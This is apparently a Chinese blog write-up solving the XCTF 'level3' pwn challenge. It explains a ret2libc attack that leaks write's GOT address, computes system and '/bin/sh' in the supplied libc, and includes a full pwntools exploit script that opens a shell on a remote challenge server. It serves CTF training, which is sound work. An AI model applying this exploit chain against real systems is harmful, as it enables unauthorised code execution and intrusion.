【ctf】xctf攻防世界level3!!
level3题解:
首先,检查一下程序基本信息:
程序很简单,保护开的也差不多。但是需要注意,这道题单独给出了libc,而且根据题目提示,程序中没有现成的system函数。这就需要我们从libc中动态加载system函数。 初步思路:PIE没有开启,那么在libc中函数的offset就是固定的,只要确认了libc的base address,然后计算出system函数的offset,就可以定位到system函数的真实地址,实现调用。
IDA查看源码:- strings查看一下是否有明显的字符串信息:
从字符串信息来看,没有明显的可以利用的字符串,函数也只有write和read,在某些情况下这两个函数可以构造溢出,先留心一下。
main函数:
没有明显的问题,直接进入vulnerable_function()
- vulnerable_function函数:
- 有一个缓冲区buf,在read函数中进行了调用。可以进行溢出。
攻击思路:
libc中的函数的相对地址是固定的,要想获取到system函数的地址,可以通过write()函数进行offset计算。1. 首先利用write()函数计算出write()函数的真实地址;2. 利用相对offset计算出system和"/bin/sh"的真实地址。
在vulnerable_function()中,先调用了write()函数,然后调用read()函数。write()函数返回到vulnerable_function()后,再进行read()函数调用,这样我们就可以进行二次攻击。 - 第一次攻击我们利用栈溢出将write()函数在got表中的真实地址leak出来,然后减去libc中的offset,就可以得到libc的base address。- 第二次攻击重新进入main函数,再次通过栈溢出,利用system函数进行getshell。
两次攻击stack中的情况:
First stack Second stack
‘A’*0x88 *'A’0x88
EBP EBP
write@plt sys_addr
main_addr 0xdeadbeef
1 bin_sh_addr
write@got XXXX
0xdeadbeef XXXX
这样的话,第一次使用的payload构成如下:
payload = ‘A’*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)
利用第一次攻击,就可以获取到libc的基地址。然后进行第二次攻击,使用的payload构成为:
payload0 = ‘A’*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
中间涉及到几个地址的计算,各地址的计算方式如下:
Address | Calculate |
---|---|
libc_addr | write_got_addr - libc.symbols[‘write’] |
sys_addr | libc_addr + libc.symbols[‘system’] |
bin_sh_addr | libc_addr + 0x15902b |
备注:0x15902b是"/bin/sh"在libc中的地址,可以使用libcsearch进行获取,也可以使用 strings -a -t x libc_32.so.6 | grep “/bin/sh” 进行获取。此外,还有一个libcSearcher可以使用,有兴趣的可以研究一下。
这样的两次攻击下来,就可以使用libc中的system函数进行"/bin/sh"的调用,从而getshell。
from pwn import * sh = remote('111.198.29.45',53033) #sh=process('./level3') #context.log_level = 'debug' elf=ELF('./level3') libc=ELF('./libc_32.so.6') #get func address write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.symbols['main'] payload = 'A'*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef) sh.sendlineafter("Input:\n",payload) #leak write's addr in got write_got_addr = u32(sh.recv()[:4]) print 'write_got address is',hex(write_got_addr) #leak libc's addr libc_addr = write_got_addr - libc.symbols['write'] print 'libc address is',hex(libc_addr) #get system's addr sys_addr = libc_addr + libc.symbols['system'] print 'system address is',hex(sys_addr) #get bin/sh 's addr strings -a -t x libc_32.so.6 | grep "/bin/sh" #libc.search("/bin/sh").next() bin_sh_addr = libc_addr + 0x15902b print '/bin/sh address is',hex(bin_sh_addr) #get second payload payload0 = 'A'*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr) sh.sendline(payload0) sh.interactive()
执行完成后,可以成功拿到flag:
- 点赞
- 收藏
- 分享
- 文章举报
- xctf攻防世界pwn level0的断点调试
- 攻防世界WP-reverse-suctf-2016-srm-50
- 攻防世界-萌新入门- alexctf-2017 re2-cpp-is-awesome
- XCTF攻防世界web新手练习_ 2_backup
- 攻防世界-PWN进阶区-1000levevls(XCTF 3rd-BCTF-2017)
- 攻防世界-web writeup(xctf)
- xctf攻防世界pwn level0
- 攻防世界WP-reverse-Reversing-XCTF 3rd-GCTF-2017-hackme
- XCTF攻防世界-Web-WriteUp
- XCTF攻防世界web进阶练习_ 5_mfw
- XCTF攻防世界web新手练习_ 4_disabled_button
- 【攻防世界】CTF web新手07 关于web中的编码问题
- Web_php_include攻防世界xctf web
- 攻防世界xctf web Web_php_unserialize和warmup
- 攻防世界(XCTF)功夫再高也怕菜刀
- 攻防世界WP-reverse-SharifCTF 2016-getit
- 攻防世界 Hello, CTF WriteUp
- XCTF攻防世界web新手练习_ 5_simple_js
- 【攻防世界】CTF web新手03 robots协议
- 攻防世界——ctf php反序列化